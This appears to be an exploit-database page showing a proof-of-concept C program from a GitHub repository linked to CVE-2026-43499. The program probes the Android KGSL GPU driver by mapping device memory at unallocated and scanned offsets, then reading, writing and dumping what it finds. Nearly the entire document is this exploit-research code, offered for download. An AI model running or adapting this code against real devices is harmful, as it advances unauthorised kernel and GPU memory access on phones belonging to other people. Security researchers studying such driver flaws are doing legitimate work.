Exploit database

GH-e6e5922ef9ac5cc7d4897803cb452516

zero2005x/rokid-rv101-research

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files254
zero2005x/rokid-rv101-researchRevision c74832d113c5
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

source_code/kgsl_offset_exploit.c

C · 8,258 bytes
/*
 * kgsl_offset_exploit.c - in-depth analysis of mmap offset behavior
 *
 * Findings:
 * - offset=0x1000 actually works!
 * - this may allow access to unallocated GPU memory
 *
 * Build:
 * aarch64-linux-android31-clang -static -O2 -o kgsl_offset_exploit kgsl_offset_exploit.c
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <stdint.h>
#include <signal.h>
#include <setjmp.h>

#define IOCTL_GPUMEM_ALLOC 0xc018092f

static sigjmp_buf jmp_env;
static volatile int sig_received = 0;

void sig_handler(int sig)
{
    sig_received = sig;
    siglongjmp(jmp_env, 1);
}

int safe_read(void *ptr, uint64_t *out)
{
    sig_received = 0;
    if (sigsetjmp(jmp_env, 1) == 0)
    {
        *out = *(volatile uint64_t *)ptr;
        return 0;
    }
    return -1;
}

int g_fd = -1;

void analyze_offset_0x1000(int fd)
{
    printf("\n=== Analyzing offset=0x1000 ===\n");

    // Allocate no GPU memory and mmap directly with offset=0x1000
    void *ptr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                     MAP_SHARED, fd, 0x1000);

    if (ptr == MAP_FAILED)
    {
        printf("[-] mmap offset=0x1000 failed: %s\n", strerror(errno));
        return;
    }

    printf("[+] mmap offset=0x1000 SUCCESS! ptr=%p\n", ptr);

    // Try to read
    signal(SIGSEGV, sig_handler);
    signal(SIGBUS, sig_handler);

    uint64_t val;
    if (safe_read(ptr, &val) == 0)
    {
        printf("[+] Read succeeded! Value: 0x%lx\n", val);

        // Try to write
        *(volatile uint64_t *)ptr = 0xAAAABBBBCCCCDDDDULL;

        if (safe_read(ptr, &val) == 0)
        {
            printf("[+] Write succeeded! New value: 0x%lx\n", val);
        }
    }
    else
    {
        printf("[-] Read failed (signal %d)\n", sig_received);
    }

    munmap(ptr, 0x1000);
}

void scan_accessible_offsets(int fd)
{
    printf("\n=== Scanning Accessible Offsets ===\n");

    signal(SIGSEGV, sig_handler);
    signal(SIGBUS, sig_handler);

    // Scan different offsets
    uint64_t offsets_to_try[] = {
        0x0,
        0x1000,
        0x2000,
        0x10000,
        0x100000,
        0x1000000,
        0x10000000,
        0x100000000ULL,
        0x4000000000ULL,
        0x4000001000ULL,
    };

    for (int i = 0; i < sizeof(offsets_to_try) / sizeof(offsets_to_try[0]); i++)
    {
        errno = 0;
        void *ptr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_SHARED, fd, offsets_to_try[i]);

        if (ptr != MAP_FAILED)
        {
            printf("[+] offset=0x%lx: MMAP SUCCESS\n", offsets_to_try[i]);

            // Try to read
            uint64_t val;
            if (safe_read(ptr, &val) == 0)
            {
                printf("    READ OK: 0x%lx\n", val);
            }
            else
            {
                printf("    READ FAILED\n");
            }

            munmap(ptr, 0x1000);
        }
    }
}

void test_low_offsets(int fd)
{
    printf("\n=== Testing Low Offsets (0x0 - 0x100000) ===\n");

    signal(SIGSEGV, sig_handler);
    signal(SIGBUS, sig_handler);

    for (uint64_t offset = 0x1000; offset <= 0x100000; offset += 0x1000)
    {
        void *ptr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_SHARED, fd, offset);

        if (ptr != MAP_FAILED)
        {
            uint64_t val;
            int can_read = safe_read(ptr, &val) == 0;

            printf("[+] offset=0x%lx: mapped=%p, read=%s",
                   offset, ptr, can_read ? "OK" : "FAIL");

            if (can_read && val != 0)
            {
                printf(", value=0x%lx", val);
            }
            printf("\n");

            munmap(ptr, 0x1000);
        }
    }
}

void test_what_is_at_0x1000(int fd)
{
    printf("\n=== Analyzing What's at offset 0x1000 ===\n");

    // First allocate a GPU memory block
    struct
    {
        uint64_t gpuaddr;
        uint64_t size;
        uint32_t flags;
        uint32_t padding;
    } req = {0};

    req.size = 0x1000;

    if (ioctl(fd, IOCTL_GPUMEM_ALLOC, &req) < 0)
    {
        printf("[-] Alloc failed\n");
        return;
    }

    printf("[+] Allocated: gpuaddr=0x%lx\n", req.gpuaddr);

    // mmap the block we allocated
    void *our_ptr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_SHARED, fd, req.gpuaddr);
    if (our_ptr == MAP_FAILED)
    {
        printf("[-] mmap our allocation failed\n");
        return;
    }
    printf("[+] Our allocation: ptr=%p\n", our_ptr);

    // Write a marker
    *(volatile uint64_t *)our_ptr = 0x12345678ABCDEF00ULL;

    // Now mmap offset=0x1000
    void *mystery_ptr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                             MAP_SHARED, fd, 0x1000);
    if (mystery_ptr == MAP_FAILED)
    {
        printf("[-] mmap offset=0x1000 failed\n");
        munmap(our_ptr, 0x1000);
        return;
    }

    printf("[+] Mystery offset 0x1000: ptr=%p\n", mystery_ptr);

    // Check the contents
    signal(SIGSEGV, sig_handler);
    signal(SIGBUS, sig_handler);

    uint64_t val;
    if (safe_read(mystery_ptr, &val) == 0)
    {
        printf("[*] Content at offset 0x1000: 0x%lx\n", val);

        if (val == 0x12345678ABCDEF00ULL)
        {
            printf("[!!!] SAME AS OUR ALLOCATION! Off-by-one page?\n");
        }

        // Scan the whole page
        uint64_t *data = (uint64_t *)mystery_ptr;
        int nonzero = 0;

        for (int i = 0; i < 512; i++)
        {
            uint64_t v;
            if (safe_read(&data[i], &v) == 0 && v != 0)
            {
                nonzero++;
                if (nonzero <= 5)
                {
                    printf("    [0x%04x] = 0x%lx\n", i * 8, v);
                }
            }
        }

        printf("[*] Total non-zero 64-bit words: %d\n", nonzero);
    }

    munmap(mystery_ptr, 0x1000);
    munmap(our_ptr, 0x1000);
}

void test_first_alloc_address(int fd)
{
    printf("\n=== Testing First Allocation Address ===\n");

    /*
     * If offset=0x1000 works, it may be because:
     * 1. the GPU address space starts at 0
     * 2. there is a preallocated block
     * 3. some kind of special mapping
     */

    // Open a new fd to make sure it is a new context
    int fd2 = open("/dev/kgsl-3d0", O_RDWR);
    if (fd2 < 0)
    {
        printf("[-] Cannot open second fd\n");
        return;
    }

    // Allocate the first block
    struct
    {
        uint64_t gpuaddr;
        uint64_t size;
        uint32_t flags;
        uint32_t padding;
    } req = {0};

    req.size = 0x1000;

    if (ioctl(fd2, IOCTL_GPUMEM_ALLOC, &req) < 0)
    {
        printf("[-] First alloc failed\n");
        close(fd2);
        return;
    }

    printf("[+] First allocation on new fd: gpuaddr=0x%lx\n", req.gpuaddr);

    // Try mmap 0x1000
    void *ptr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                     MAP_SHARED, fd2, 0x1000);
    if (ptr != MAP_FAILED)
    {
        printf("[+] offset=0x1000 still works on new fd!\n");
        munmap(ptr, 0x1000);
    }

    close(fd2);
}

int main(int argc, char **argv)
{
    printf("=== KGSL Offset Exploitation ===\n");
    printf("=================================\n");

    g_fd = open("/dev/kgsl-3d0", O_RDWR);
    if (g_fd < 0)
    {
        printf("[-] Cannot open: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened fd=%d\n", g_fd);

    // Analyze offset=0x1000
    analyze_offset_0x1000(g_fd);

    // Test what offset 0x1000 represents
    test_what_is_at_0x1000(g_fd);

    // Scan accessible offsets
    scan_accessible_offsets(g_fd);

    // Test low offsets
    if (argc > 1 && strcmp(argv[1], "-scan") == 0)
    {
        test_low_offsets(g_fd);
    }

    // Test the behavior on a new fd
    test_first_alloc_address(g_fd);

    close(g_fd);
    return 0;
}